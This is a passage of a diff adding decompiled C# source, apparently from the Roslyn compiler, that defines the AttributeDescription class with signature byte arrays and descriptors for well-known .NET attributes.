NonSerializedAttribute; + + internal static readonly AttributeDescription StructLayoutAttribute; + + internal static readonly AttributeDescription FieldOffsetAttribute; + + internal static readonly AttributeDescription FixedBufferAttribute; + + internal static readonly AttributeDescription InterceptsLocationAttribute; + + internal static readonly AttributeDescription AllowNullAttribute; + + internal static readonly AttributeDescription DisallowNullAttribute; + + internal static readonly AttributeDescription MaybeNullAttribute; + + internal static readonly AttributeDescription MaybeNullWhenAttribute; + + internal static readonly AttributeDescription NotNullAttribute; + + internal static readonly AttributeDescription MemberNotNullAttribute; + + internal static readonly AttributeDescription MemberNotNullWhenAttribute; + + internal static readonly AttributeDescription NotNullIfNotNullAttribute; + + internal static readonly AttributeDescription NotNullWhenAttribute; + + internal static readonly AttributeDescription DoesNotReturnIfAttribute; + + internal static readonly AttributeDescription DoesNotReturnAttribute; + + internal static readonly AttributeDescription MarshalAsAttribute; + + internal static readonly AttributeDescription InAttribute; + + internal static readonly AttributeDescription OutAttribute; + + internal static readonly AttributeDescription IsReadOnlyAttribute; + + internal static readonly AttributeDescription RequiresLocationAttribute; + + internal static readonly AttributeDescription IsUnmanagedAttribute; + + internal static readonly AttributeDescription CoClassAttribute; + + internal static readonly AttributeDescription GuidAttribute; + + internal static readonly AttributeDescription CLSCompliantAttribute; + + internal static readonly AttributeDescription HostProtectionAttribute; + + internal static readonly AttributeDescription SuppressUnmanagedCodeSecurityAttribute; + + internal static readonly AttributeDescription PrincipalPermissionAttribute; + + internal static readonly AttributeDescription PermissionSetAttribute; + + internal static readonly AttributeDescription TypeIdentifierAttribute; + + internal static readonly AttributeDescription VisualBasicEmbeddedAttribute; + + internal static readonly AttributeDescription CodeAnalysisEmbeddedAttribute; + + internal static readonly AttributeDescription VisualBasicComClassAttribute; + + internal static readonly AttributeDescription StandardModuleAttribute; + + internal static readonly AttributeDescription OptionCompareAttribute; + + internal static readonly AttributeDescription AccessedThroughPropertyAttribute; + + internal static readonly AttributeDescription WebMethodAttribute; + + internal static readonly AttributeDescription DateTimeConstantAttribute; + + internal static readonly AttributeDescription ClassInterfaceAttribute; + + internal static readonly AttributeDescription ComSourceInterfacesAttribute; + + internal static readonly AttributeDescription ComVisibleAttribute; + + internal static readonly AttributeDescription DispIdAttribute; + + internal static readonly AttributeDescription TypeLibVersionAttribute; + + internal static readonly AttributeDescription ComCompatibleVersionAttribute; + + internal static readonly AttributeDescription InterfaceTypeAttribute; + + internal static readonly AttributeDescription WindowsRuntimeImportAttribute; + + internal static readonly AttributeDescription DynamicSecurityMethodAttribute; + + internal static readonly AttributeDescription RequiredAttributeAttribute; + + internal static readonly AttributeDescription AsyncMethodBuilderAttribute; + + internal static readonly AttributeDescription AsyncStateMachineAttribute; + + internal static readonly AttributeDescription IteratorStateMachineAttribute; + + internal static readonly AttributeDescription AsyncIteratorStateMachineAttribute; + + internal static readonly AttributeDescription CompilationRelaxationsAttribute; + + internal static readonly AttributeDescription ReferenceAssemblyAttribute; + + internal static readonly AttributeDescription RuntimeCompatibilityAttribute; + + internal static readonly AttributeDescription DebuggableAttribute; + + internal static readonly AttributeDescription TypeForwardedToAttribute; + + internal static readonly AttributeDescription STAThreadAttribute; + + internal static readonly AttributeDescription MTAThreadAttribute; + + internal static readonly AttributeDescription ObsoleteAttribute; + + internal static readonly AttributeDescription TypeLibTypeAttribute; + + internal static readonly AttributeDescription DynamicAttribute; + + internal static readonly AttributeDescription TupleElementNamesAttribute; + + internal static readonly AttributeDescription IsByRefLikeAttribute; + + internal static readonly AttributeDescription DebuggerHiddenAttribute; + + internal static readonly AttributeDescription DebuggerNonUserCodeAttribute; + + internal static readonly AttributeDescription DebuggerStepperBoundaryAttribute; + + internal static readonly AttributeDescription DebuggerStepThroughAttribute; + + internal static readonly AttributeDescription SecurityCriticalAttribute; + + internal static readonly AttributeDescription SecuritySafeCriticalAttribute; + + internal static readonly AttributeDescription DesignerGeneratedAttribute; + + internal static readonly AttributeDescription MyGroupCollectionAttribute; + + internal static readonly AttributeDescription ComEventInterfaceAttribute; + + internal static readonly AttributeDescription BestFitMappingAttribute; + + internal static readonly AttributeDescription FlagsAttribute; + + internal static readonly AttributeDescription LCIDConversionAttribute; + + internal static readonly AttributeDescription UnmanagedFunctionPointerAttribute; + + internal static readonly AttributeDescription PrimaryInteropAssemblyAttribute; + + internal static readonly AttributeDescription ImportedFromTypeLibAttribute; + + internal static readonly AttributeDescription DefaultEventAttribute; + + internal static readonly AttributeDescription AssemblyConfigurationAttribute; + + internal static readonly AttributeDescription AssemblyAlgorithmIdAttribute; + + internal static readonly AttributeDescription DeprecatedAttribute; + + internal static readonly AttributeDescription NullableAttribute; + + internal static readonly AttributeDescription NullableContextAttribute; + + internal static readonly AttributeDescription NullablePublicOnlyAttribute; + + internal static readonly AttributeDescription WindowsExperimentalAttribute; + + internal static readonly AttributeDescription ExperimentalAttribute; + + internal static readonly AttributeDescription ExcludeFromCodeCoverageAttribute; + + internal static readonly AttributeDescription EnumeratorCancellationAttribute; + + internal static readonly AttributeDescription SkipLocalsInitAttribute; + + internal static readonly AttributeDescription NativeIntegerAttribute; + + internal static readonly AttributeDescription ScopedRefAttribute; + + internal static readonly AttributeDescription RefSafetyRulesAttribute; + + internal static readonly AttributeDescription ModuleInitializerAttribute; + + internal static readonly AttributeDescription UnmanagedCallersOnlyAttribute; + + internal static readonly AttributeDescription InterpolatedStringHandlerAttribute; + + internal static readonly AttributeDescription InterpolatedStringHandlerArgumentAttribute; + + internal static readonly AttributeDescription RequiredMemberAttribute; + + internal static readonly AttributeDescription SetsRequiredMembersAttribute; + + internal static readonly AttributeDescription CompilerFeatureRequiredAttribute; + + internal static readonly AttributeDescription UnscopedRefAttribute; + + internal static readonly AttributeDescription InlineArrayAttribute; + + internal static readonly AttributeDescription CollectionBuilderAttribute; + + public string FullName => Namespace + "." + Name; + + public override string ToString() + { + return FullName + "(" + Signatures.Length + ")"; + } + + internal int GetParameterCount(int signatureIndex) + { + return Signatures[signatureIndex][1]; + } + + static AttributeDescription() + { + s_signature_HasThis_Void = new byte[3] { 32, 0, 1 }; + s_signature_HasThis_Void_Byte = new byte[4] { 32, 1, 1, 5 }; + s_signature_HasThis_Void_Int16 = new byte[4] { 32, 1, 1, 6 }; + s_signature_HasThis_Void_Int32 = new byte[4] { 32, 1, 1, 8 }; + s_signature_HasThis_Void_UInt32 = new byte[4] { 32, 1, 1, 9 }; + s_signature_HasThis_Void_Int32_Int32 = new byte[5] { 32, 2, 1, 8, 8 }; + s_signature_HasThis_Void_Int32_Int32_Int32_Int32 = new byte[7] { 32, 4, 1, 8, 8, 8, 8 }; + s_signature_HasThis_Void_String = new byte[4] { 32, 1, 1, 14 }; + s_signature_HasThis_Void_Object = new byte[4] { 32, 1, 1, 28 }; + s_signature_HasThis_Void_String_String = new byte[5] { 32, 2, 1, 14, 14 }; + s_signature_HasThis_Void_String_Boolean = new byte[5] { 32, 2, 1, 14, 2 }; + s_signature_HasThis_Void_String_String_String = new byte[6] { 32, 3, 1, 14, 14, 14 }; + s_signature_HasThis_Void_String_String_String_String = new byte[7] { 32, 4, 1, 14, 14, 14, 14 }; + s_signature_HasThis_Void_AttributeTargets = new byte[5] { 32, 1, 1, 64, 0 }; + s_signature_HasThis_Void_AssemblyNameFlags = new byte[5] { 32, 1, 1, 64, 1 }; + s_signature_HasThis_Void_MethodImplOptions = new byte[5] { 32, 1, 1, 64, 2 }; + s_signature_HasThis_Void_CharSet = new byte[5] { 32, 1, 1, 64, 3 }; + s_signature_HasThis_Void_LayoutKind = new byte[5] { 32, 1, 1, 64, 4 }; + s_signature_HasThis_Void_UnmanagedType = new byte[5] { 32, 1, 1, 64, 5 }; + s_signature_HasThis_Void_TypeLibTypeFlags = new byte[5] { 32, 1, 1, 64, 6 }; + s_signature_HasThis_Void_ClassInterfaceType = new byte[5] { 32, 1, 1, 64, 7 }; + s_signature_HasThis_Void_ComInterfaceType = new byte[5] { 32, 1, 1, 64, 8 }; + s_signature_HasThis_Void_CompilationRelaxations = new byte[5] { 32, 1, 1, 64, 9 }; + s_signature_HasThis_Void_DebuggingModes = new byte[5] { 32, 1, 1, 64, 10 }; + s_signature_HasThis_Void_SecurityCriticalScope = new byte[5] { 32, 1, 1, 64, 11 }; + s_signature_HasThis_Void_CallingConvention = new byte[5] { 32, 1, 1, 64, 12 }; + s_signature_HasThis_Void_AssemblyHashAlgorithm = new byte[5] { 32, 1, 1, 64, 13 }; + s_signature_HasThis_Void_Int64 = new byte[4] { 32, 1, 1, 10 }; + s_signature_HasThis_Void_UInt8_UInt8_UInt32_UInt32_UInt32 = new byte[8] { 32, 5, 1, 5, 5, 9, 9, 9 }; + s_signature_HasThis_Void_UIn8_UInt8_Int32_Int32_Int32 = new byte[8] { 32, 5, 1, 5, 5, 8, 8, 8 }; + s_signature_HasThis_Void_Boolean = new byte[4] { 32, 1, 1, 2 }; + s_signature_HasThis_Void_Boolean_Boolean = new byte[5] { 32, 2, 1, 2, 2 }; + s_signature_HasThis_Void_Boolean_TransactionOption = new byte[6] { 32, 2, 1, 2, 64, 14 }; + s_signature_HasThis_Void_Boolean_TransactionOption_Int32 = new byte[7] { 32, 3, 1, 2, 64, 14, 8 }; + s_signature_HasThis_Void_Boolean_TransactionOption_Int32_Boolean = new byte[8] { 32, 4, 1, 2, 64, 14, 8, 2 }; + s_signature_HasThis_Void_SecurityAction = new byte[5] { 32, 1, 1, 64, 15 }; + s_signature_HasThis_Void_Type = new byte[5] { 32, 1, 1, 64, 16 }; + s_signature_HasThis_Void_Type_Type = new byte[7] { 32, 2, 1, 64, 16, 64, 16 }; + s_signature_HasThis_Void_Type_Type_Type = new byte[9] { 32, 3, 1, 64, 16, 64, 16, 64, 16 }; + s_signature_HasThis_Void_Type_Type_Type_Type = new byte[11] + { + 32, 4, 1, 64, 16, 64, 16, 64, 16, 64, + 16 + }; + s_signature_HasThis_Void_Type_Int32 = new byte[6] { 32, 2, 1, 64, 16, 8 }; + s_signature_HasThis_Void_Type_String = new byte[6] { 32, 2, 1, 64, 16, 14 }; + s_signature_HasThis_Void_String_Int32_Int32 = new byte[6] { 32, 3, 1, 14, 8, 8 }; + s_signature_HasThis_Void_SzArray_Boolean = new byte[5] { 32, 1, 1, 29, 2 }; + s_signature_HasThis_Void_SzArray_Byte = new byte[5] { 32, 1, 1, 29, 5 }; + s_signature_HasThis_Void_SzArray_String = new byte[5] { 32, 1, 1, 29, 14 }; + s_signature_HasThis_Void_Boolean_SzArray_String = new byte[6] { 32, 2, 1, 2, 29, 14 }; + s_signature_HasThis_Void_Boolean_String = new byte[5] { 32, 2, 1, 2, 14 }; + s_signature_HasThis_Void_String_DeprecationType_UInt32 = new byte[7] { 32, 3, 1, 14, 64, 17, 9 }; + s_signature_HasThis_Void_String_DeprecationType_UInt32_Platform = new byte[9] { 32, 4, 1, 14, 64, 17, 9, 64, 18 }; + s_signature_HasThis_Void_String_DeprecationType_UInt32_Type = new byte[9] { 32, 4, 1, 14, 64, 17, 9, 64, 16 }; + s_signature_HasThis_Void_String_DeprecationType_UInt32_String = new byte[8] { 32, 4, 1, 14, 64, 17, 9, 14 }; + s_signatures_HasThis_Void_Only = new byte[1][] { s_signature_HasThis_Void }; + s_signatures_HasThis_Void_String_Only = new byte[1][] { s_signature_HasThis_Void_String }; + s_signatures_HasThis_Void_Type_Only = new byte[1][] { s_signature_HasThis_Void_Type }; + s_signatures_HasThis_Void_Boolean_Only = new byte[1][] { s_signature_HasThis_Void_Boolean }; + s_signatures_HasThis_Void_Int32_Only = new byte[1][] { s_signature_HasThis_Void_Int32 }; + s_signaturesOfTypeIdentifierAttribute = new byte[2][] { s_signature_HasThis_Void, s_signature_HasThis_Void_String_String }; + s_signaturesOfAttributeUsage = new byte[1][] { s_signature_HasThis_Void_AttributeTargets }; + s_signaturesOfAssemblySignatureKeyAttribute = new byte[1][] { s_signature_HasThis_Void_String_String }; + s_signaturesOfAssemblyFlagsAttribute = new byte[3][] { s_signature_HasThis_Void_AssemblyNameFlags, s_signature_HasThis_Void_Int32, s_signature_HasThis_Void_UInt32 }; + s_signaturesOfDefaultParameterValueAttribute = new byte[1][] { s_signature_HasThis_Void_Object }; + s_signaturesOfDateTimeConstantAttribute = new byte[1][] { s_signature_HasThis_Void_Int64 }; + s_signaturesOfDecimalConstantAttribute = new byte[2][] { s_signature_HasThis_Void_UInt8_UInt8_UInt32_UInt32_UInt32, s_signature_HasThis_Void_UIn8_UInt8_Int32_Int32_Int32 }; + s_signaturesOfSecurityPermissionAttribute = new byte[1][] { s_signature_HasThis_Void_SecurityAction }; + s_signaturesOfMethodImplAttribute = new byte[3][] { s_signature_HasThis_Void, s_signature_HasThis_Void_Int16, s_signature_HasThis_Void_MethodImplOptions }; + s_signaturesOfDefaultCharSetAttribute = new byte[1][] { s_signature_HasThis_Void_CharSet }; + s_signaturesOfMemberNotNullAttribute = new byte[2][] { s_signature_HasThis_Void_String, s_signature_HasThis_Void_SzArray_String }; + s_signaturesOfMemberNotNullWhenAttribute = new byte[2][] { s_signature_HasThis_Void_Boolean_String, s_signature_HasThis_Void_Boolean_SzArray_String }; + s_signaturesOfFixedBufferAttribute = new byte[1][] { s_signature_HasThis_Void_Type_Int32 }; + s_signaturesOfInterceptsLocationAttribute = new byte[1][] { s_signature_HasThis_Void_String_Int32_Int32 }; + s_signaturesOfPrincipalPermissionAttribute = new byte[1][] { s_signature_HasThis_Void_SecurityAction }; + s_signaturesOfPermissionSetAttribute = new byte[1][] { s_signature_HasThis_Void_SecurityAction }; + s_signaturesOfStructLayoutAttribute = new byte[2][] { s_signature_HasThis_Void_Int16, s_signature_HasThis_Void_LayoutKind }; + s_signaturesOfMarshalAsAttribute = new byte[2][] { s_signature_HasThis_Void_Int16, s_signature_HasThis_Void_UnmanagedType }; + s_signaturesOfTypeLibTypeAttribute = new byte[2][] { s_signature_HasThis_Void_Int16, s_signature_HasThis_Void_TypeLibTypeFlags }; + s_signaturesOfWebMethodAttribute = new byte[5][] { s_signature_HasThis_Void, s_signature_HasThis_Void_Boolean, s_signature_HasThis_Void_Boolean_TransactionOption, s_signature_HasThis_Void_Boolean_TransactionOption_Int32, s_signature_HasThis_Void_Boolean_TransactionOption_Int32_Boolean }; + s_signaturesOfHostProtectionAttribute = new byte[2][] { s_signature_HasThis_Void, s_signature_HasThis_Void_SecurityAction }; + s_signaturesOfVisualBasicComClassAttribute = new byte[4][] { s_signature_HasThis_Void, s_signature_HasThis_Void_String, s_signature_HasThis_Void_String_String, s_signature_HasThis_Void_String_String_String }; + s_signaturesOfClassInterfaceAttribute = new byte[2][] { s_signature_HasThis_Void_Int16, s_signature_HasThis_Void_ClassInterfaceType }; + s_signaturesOfInterfaceTypeAttribute = new byte[2][] { s_signature_HasThis_Void_Int16, s_signature_HasThis_Void_ComInterfaceType }; + s_signaturesOfCompilationRelaxationsAttribute = new byte[2][] { s_signature_HasThis_Void_Int32, s_signature_HasThis_Void_CompilationRelaxations }; + s_signaturesOfDebuggableAttribute = new byte[2][] { s_signature_HasThis_Void_Boolean_Boolean, s_signature_HasThis_Void_DebuggingModes }; + s_signaturesOfComSourceInterfacesAttribute = new byte[5][] { s_signature_HasThis_Void_String, s_signature_HasThis_Void_Type, s_signature_HasThis_Void_Type_Type, s_signature_HasThis_Void_Type_Type_Type, s_signature_HasThis_Void_Type_Type_Type_Type }; + s_signaturesOfTypeLibVersionAttribute = new byte[1][] { s_signature_HasThis_Void_Int32_Int32 }; + s_signaturesOfComCompatibleVersionAttribute = new byte[1][] { s_signature_HasThis_Void_Int32_Int32_Int32_Int32 }; + s_signaturesOfObsoleteAttribute = new byte[3][] { s_signature_HasThis_Void, s_signature_HasThis_Void_String, s_signature_HasThis_Void_String_Boolean }; + s_signaturesOfDynamicAttribute = new byte[2][] { s_signature_HasThis_Void, s_signature_HasThis_Void_SzArray_Boolean }; + s_signaturesOfTupleElementNamesAttribute = new byte[2][] { s_signature_HasThis_Void, s_signature_HasThis_Void_SzArray_String }; + s_signaturesOfSecurityCriticalAttribute = new byte[2][] { s_signature_HasThis_Void, s_signature_HasThis_Void_SecurityCriticalScope }; + s_signaturesOfMyGroupCollectionAttribute = new byte[1][] { s_signature_HasThis_Void_String_String_String_String }; + s_signaturesOfComEventInterfaceAttribute = new byte[1][] { s_signature_HasThis_Void_Type_Type }; + s_signaturesOfUnmanagedFunctionPointerAttribute = new byte[1][] { s_signature_HasThis_Void_CallingConvention }; + s_signaturesOfPrimaryInteropAssemblyAttribute = new byte[1][] { s_signature_HasThis_Void_Int32_Int32 }; + s_signaturesOfAssemblyAlgorithmIdAttribute = new byte[2][] { s_signature_HasThis_Void_AssemblyHashAlgorithm, s_signature_HasThis_Void_UInt32 }; + s_signaturesOfDeprecatedAttribute = new byte[4][] { s_signature_HasThis_Void_String_DeprecationType_UInt32, s_signature_HasThis_Void_String_DeprecationType_UInt32_Platform, s_signature_HasThis_Void_String_DeprecationType_UInt32_Type, s_signature_HasThis_Void_String_DeprecationType_UInt32_String }; + s_signaturesOfNullableAttribute = new byte[2][] { s_signature_HasThis_Void_Byte, s_signature_HasThis_Void_SzArray_Byte }; + s_signaturesOfNullableContextAttribute = new byte[1][] { s_signature_HasThis_Void_Byte }; + s_signaturesOfNativeIntegerAttribute = new byte[2][] { s_signature_HasThis_Void, s_signature_HasThis_Void_SzArray_Boolean }; + s_signaturesOfInterpolatedStringArgumentAttribute = new byte[2][] { s_signature_HasThis_Void_String, s_signature_HasThis_Void_SzArray_String }; + s_signaturesOfCollectionBuilderAttribute = new byte[1][] { s_signature_HasThis_Void_Type_String }; + OptionalAttribute = new AttributeDescription("System.Runtime.InteropServices", "OptionalAttribute", s_signatures_HasThis_Void_Only); + ComImportAttribute = new AttributeDescription("System.Runtime.InteropServices", "ComImportAttribute", s_signatures_HasThis_Void_Only); + AttributeUsageAttribute = new AttributeDescription("System", "AttributeUsageAttribute", s_signaturesOfAttributeUsage); + ConditionalAttribute = new AttributeDescription("System.Diagnostics", "ConditionalAttribute", s_signatures_HasThis_Void_String_Only); + CaseInsensitiveExtensionAttribute = new AttributeDescription("System.Runtime.CompilerServices", "ExtensionAttribute", s_signatures_HasThis_Void_Only, matchIgnoringCase: true); + CaseSensitiveExtensionAttribute = new AttributeDescription("System.Runtime.CompilerServices", "ExtensionAttribute", s_signatures_HasThis_Void_Only); + InternalsVisibleToAttribute = new AttributeDescription("System.Runtime.CompilerServices", "InternalsVisibleToAttribute", s_signatures_HasThis_Void_String_Only); + AssemblySignatureKeyAttribute = new AttributeDescription("System.Reflection", "AssemblySignatureKeyAttribute", s_signaturesOfAssemblySignatureKeyAttribute); + AssemblyKeyFileAttribute = new AttributeDescription("System.Reflection", "AssemblyKeyFileAttribute", s_signatures_HasThis_Void_String_Only); + AssemblyKeyNameAttribute = new AttributeDescription("System.Reflection", "AssemblyKeyNameAttribute", s_signatures_HasThis_Void_String_Only); + ParamArrayAttribute = new AttributeDescription("System", "ParamArrayAttribute", s_signatures_HasThis_Void_Only); + DefaultMemberAttribute = new AttributeDescription("System.Reflection", "DefaultMemberAttribute", s_signatures_HasThis_Void_String_Only); + IndexerNameAttribute = new AttributeDescription("System.Runtime.CompilerServices", "IndexerNameAttribute", s_signatures_HasThis_Void_String_Only); + AssemblyDelaySignAttribute = new AttributeDescription("System.Reflection", "AssemblyDelaySignAttribute", s_signatures_HasThis_Void_Boolean_Only); + AssemblyVersionAttribute = new AttributeDescription("System.Reflection", "AssemblyVersionAttribute", s_signatures_HasThis_Void_String_Only); + AssemblyFileVersionAttribute = new AttributeDescription("System.Reflection", "AssemblyFileVersionAttribute", s_signatures_HasThis_Void_String_Only); + AssemblyTitleAttribute = new AttributeDescription("System.Reflection", "AssemblyTitleAttribute", s_signatures_HasThis_Void_String_Only); + AssemblyDescriptionAttribute = new AttributeDescription("System.Reflection", "AssemblyDescriptionAttribute", s_signatures_HasThis_Void_String_Only); + AssemblyCultureAttribute = new AttributeDescription("System.Reflection", "AssemblyCultureAttribute", s_signatures_HasThis_Void_String_Only); + AssemblyCompanyAttribute = new AttributeDescription("System.Reflection", "AssemblyCompanyAttribute", s_signatures_HasThis_Void_String_Only); + AssemblyProductAttribute = new AttributeDescription("System.Reflection", "AssemblyProductAttribute", s_signatures_HasThis_Void_String_Only); + AssemblyInformationalVersionAttribute = new AttributeDescription("System.Reflection", "AssemblyInformationalVersionAttribute", s_signatures_HasThis_Void_String_Only); + AssemblyCopyrightAttribute = new AttributeDescription("System.Reflection", "AssemblyCopyrightAttribute", s_signatures_HasThis_Void_String_Only); + SatelliteContractVersionAttribute = new AttributeDescription("System.Resources", "SatelliteContractVersionAttribute", s_signatures_HasThis_Void_String_Only); + AssemblyTrademarkAttribute = new AttributeDescription("System.Reflection", "AssemblyTrademarkAttribute", s_signatures_HasThis_Void_String_Only); + AssemblyFlagsAttribute = new AttributeDescription("System.Reflection", "AssemblyFlagsAttribute", s_signaturesOfAssemblyFlagsAttribute); + DecimalConstantAttribute = new AttributeDescription("System.Runtime.CompilerServices", "DecimalConstantAttribute", s_signaturesOfDecimalConstantAttribute); + IUnknownConstantAttribute = new AttributeDescription("System.Runtime.CompilerServices", "IUnknownConstantAttribute", s_signatures_HasThis_Void_Only); + CallerFilePathAttribute = new AttributeDescription("System.Runtime.CompilerServices", "CallerFilePathAttribute", s_signatures_HasThis_Void_Only); + CallerLineNumberAttribute = new AttributeDescription("System.Runtime.CompilerServices", "CallerLineNumberAttribute", s_signatures_HasThis_Void_Only); + CallerMemberNameAttribute = new AttributeDescription("System.Runtime.CompilerServices", "CallerMemberNameAttribute", s_signatures_HasThis_Void_Only); + CallerArgumentExpressionAttribute = new AttributeDescription("System.Runtime.CompilerServices", "CallerArgumentExpressionAttribute", s_signatures_HasThis_Void_String_Only); + IDispatchConstantAttribute = new AttributeDescription("System.Runtime.CompilerServices", "IDispatchConstantAttribute", s_signatures_HasThis_Void_Only); + DefaultParameterValueAttribute = new AttributeDescription("System.Runtime.InteropServices", "DefaultParameterValueAttribute", s_signaturesOfDefaultParameterValueAttribute); + UnverifiableCodeAttribute = new AttributeDescription("System.Runtime.InteropServices", "UnverifiableCodeAttribute", s_signatures_HasThis_Void_Only); + SecurityPermissionAttribute = new AttributeDescription("System.Runtime.InteropServices", "SecurityPermissionAttribute", s_signaturesOfSecurityPermissionAttribute); + DllImportAttribute = new AttributeDescription("System.Runtime.InteropServices", "DllImportAttribute", s_signatures_HasThis_Void_String_Only); + MethodImplAttribute = new AttributeDescription("System.Runtime.CompilerServices", "MethodImplAttribute", s_signaturesOfMethodImplAttribute); + PreserveSigAttribute = new AttributeDescription("System.Runtime.InteropServices", "PreserveSigAttribute", s_signatures_HasThis_Void_Only); + DefaultCharSetAttribute = new AttributeDescription("System.Runtime.InteropServices", "DefaultCharSetAttribute", s_signaturesOfDefaultCharSetAttribute); + SpecialNameAttribute = new AttributeDescription("System.Runtime.CompilerServices", "SpecialNameAttribute", s_signatures_HasThis_Void_Only); + SerializableAttribute = new AttributeDescription("System", "SerializableAttribute", s_signatures_HasThis_Void_Only); + NonSerializedAttribute = new AttributeDescription("System", "NonSerializedAttribute", s_signatures_HasThis_Void_Only); + StructLayoutAttribute = new AttributeDescription("System.Runtime.InteropServices", "StructLayoutAttribute", s_signaturesOfStructLayoutAttribute); + FieldOffsetAttribute = new AttributeDescription("System.Runtime.InteropServices", "FieldOffsetAttribute", s_signatures_HasThis_Void_Int32_Only); + FixedBufferAttribute = new AttributeDescription("System.Runtime.CompilerServices", "FixedBufferAttribute", s_signaturesOfFixedBufferAttribute); + InterceptsLocationAttribute = new AttributeDescription("System.Runtime.CompilerServices", "InterceptsLocationAttribute", s_signaturesOfInterceptsLocationAttribute); + AllowNullAttribute = new AttributeDescription("System.Diagnostics.CodeAnalysis", "AllowNullAttribute", s_signatures_HasThis_Void_Only); + DisallowNullAttribute = new AttributeDescription("System.Diagnostics.CodeAnalysis", "DisallowNullAttribute", s_signatures_HasThis_Void_Only); + MaybeNullAttribute = new AttributeDescription("System.Diagnostics.CodeAnalysis", "MaybeNullAttribute", s_signatures_HasThis_Void_Only); + MaybeNullWhenAttribute = new AttributeDescription("System.Diagnostics.CodeAnalysis", "MaybeNullWhenAttribute", s_signatures_HasThis_Void_Boolean_Only); + NotNullAttribute = new AttributeDescription("System.Diagnostics.CodeAnalysis", "NotNullAttribute", s_signatures_HasThis_Void_Only); + MemberNotNullAttribute = new AttributeDescription("System.Diagnostics.CodeAnalysis", "MemberNotNullAttribute", s_signaturesOfMemberNotNullAttribute); + MemberNotNullWhenAttribute = new AttributeDescription("System.Diagnostics.CodeAnalysis", "MemberNotNullWhenAttribute", s_signaturesOfMemberNotNullWhenAttribute); + NotNullIfNotNullAttribute = new AttributeDescription("System.Diagnostics.CodeAnalysis", "NotNullIfNotNullAttribute", s_signatures_HasThis_Void_String_Only); + NotNullWhenAttribute = new AttributeDescription("System.Diagnostics.CodeAnalysis", "NotNullWhenAttribute", s_signatures_HasThis_Void_Boolean_Only); + DoesNotReturnIfAttribute = new AttributeDescription("System.Diagnostics.CodeAnalysis", "DoesNotReturnIfAttribute", s_signatures_HasThis_Void_Boolean_Only); + DoesNotReturnAttribute = new AttributeDescription("System.Diagnostics.CodeAnalysis", "DoesNotReturnAttribute", s_signatures_HasThis_Void_Only); + MarshalAsAttribute = new AttributeDescription("System.Runtime.InteropServices", "MarshalAsAttribute", s_signaturesOfMarshalAsAttribute); + InAttribute = new AttributeDescription("System.Runtime.InteropServices", "InAttribute", s_signatures_HasThis_Void_Only); + OutAttribute = new AttributeDescription("System.Runtime.InteropServices", "OutAttribute", s_signatures_HasThis_Void_Only); + IsReadOnlyAttribute = new AttributeDescription("System.Runtime.CompilerServices", "IsReadOnlyAttribute", s_signatures_HasThis_Void_Only); + RequiresLocationAttribute = new AttributeDescription("System.Runtime.CompilerServices", "RequiresLocationAttribute", s_signatures_HasThis_Void_Only); + IsUnmanagedAttribute = new AttributeDescription("System.Runtime.CompilerServices", "IsUnmanagedAttribute", s_signatures_HasThis_Void_Only); + CoClassAttribute = new AttributeDescription("System.Runtime.InteropServices", "CoClassAttribute", s_signatures_HasThis_Void_Type_Only); + GuidAttribute = new AttributeDescription("System.Runtime.InteropServices", "GuidAttribute", s_signatures_HasThis_Void_String_Only); + CLSCompliantAttribute = new AttributeDescription("System", "CLSCompliantAttribute", s_signatures_HasThis_Void_Boolean_Only); + HostProtectionAttribute = new AttributeDescription("System.Security.Permissions", "HostProtectionAttribute", s_signaturesOfHostProtectionAttribute); + SuppressUnmanagedCodeSecurityAttribute = new AttributeDescription("System.Security", "SuppressUnmanagedCodeSecurityAttribute", s_signatures_HasThis_Void_Only); + PrincipalPermissionAttribute = new AttributeDescription("System.Security.Permissions", "PrincipalPermissionAttribute", s_signaturesOfPrincipalPermissionAttribute); + PermissionSetAttribute = new AttributeDescription("System.Security.Permissions", "PermissionSetAttribute", s_signaturesOfPermissionSetAttribute); + TypeIdentifierAttribute = new AttributeDescription("System.Runtime.InteropServices", "TypeIdentifierAttribute", s_signaturesOfTypeIdentifierAttribute); + VisualBasicEmbeddedAttribute = new AttributeDescription("Microsoft.VisualBasic", "Embedded", s_signatures_HasThis_Void_Only); + CodeAnalysisEmbeddedAttribute = new AttributeDescription("Microsoft.CodeAnalysis", "EmbeddedAttribute", s_signatures_HasThis_Void_Only); + VisualBasicComClassAttribute = new AttributeDescription("Microsoft.VisualBasic", "ComClassAttribute", s_signaturesOfVisualBasicComClassAttribute); + StandardModuleAttribute = new AttributeDescription("Microsoft.VisualBasic.CompilerServices", "StandardModuleAttribute", s_signatures_HasThis_Void_Only); + OptionCompareAttribute = new AttributeDescription("Microsoft.VisualBasic.CompilerServices", "OptionCompareAttribute", s_signatures_HasThis_Void_Only); + AccessedThroughPropertyAttribute = new AttributeDescription("System.Runtime.CompilerServices", "AccessedThroughPropertyAttribute", s_signatures_HasThis_Void_String_Only); + WebMethodAttribute = new AttributeDescription("System.Web.Services", "WebMethodAttribute", s_signaturesOfWebMethodAttribute); + DateTimeConstantAttribute = new AttributeDescription("System.Runtime.CompilerServices", "DateTimeConstantAttribute", s_signaturesOfDateTimeConstantAttribute); + ClassInterfaceAttribute = new AttributeDescription("System.Runtime.InteropServices", "ClassInterfaceAttribute", s_signaturesOfClassInterfaceAttribute); + ComSourceInterfacesAttribute = new AttributeDescription("System.Runtime.InteropServices", "ComSourceInterfacesAttribute", s_signaturesOfComSourceInterfacesAttribute); + ComVisibleAttribute = new AttributeDescription("System.Runtime.InteropServices", "ComVisibleAttribute", s_signatures_HasThis_Void_Boolean_Only); + DispIdAttribute = new AttributeDescription("System.Runtime.InteropServices", "DispIdAttribute", s_signatures_HasThis_Void_Int32_Only); + TypeLibVersionAttribute = new AttributeDescription("System.Runtime.InteropServices", "TypeLibVersionAttribute", s_signaturesOfTypeLibVersionAttribute); + ComCompatibleVersionAttribute = new AttributeDescription("System.Runtime.InteropServices", "ComCompatibleVersionAttribute", s_signaturesOfComCompatibleVersionAttribute); + InterfaceTypeAttribute = new AttributeDescription("System.Runtime.InteropServices", "InterfaceTypeAttribute", s_signaturesOfInterfaceTypeAttribute); + WindowsRuntimeImportAttribute = new AttributeDescription("System.Runtime.InteropServices.WindowsRuntime", "WindowsRuntimeImportAttribute", s_signatures_HasThis_Void_Only); + DynamicSecurityMethodAttribute = new AttributeDescription("System.Security", "DynamicSecurityMethodAttribute", s_signatures_HasThis_Void_Only); + RequiredAttributeAttribute = new AttributeDescription("System.Runtime.CompilerServices", "RequiredAttributeAttribute", s_signatures_HasThis_Void_Type_Only); + AsyncMethodBuilderAttribute = new AttributeDescription("System.Runtime.CompilerServices", "AsyncMethodBuilderAttribute", 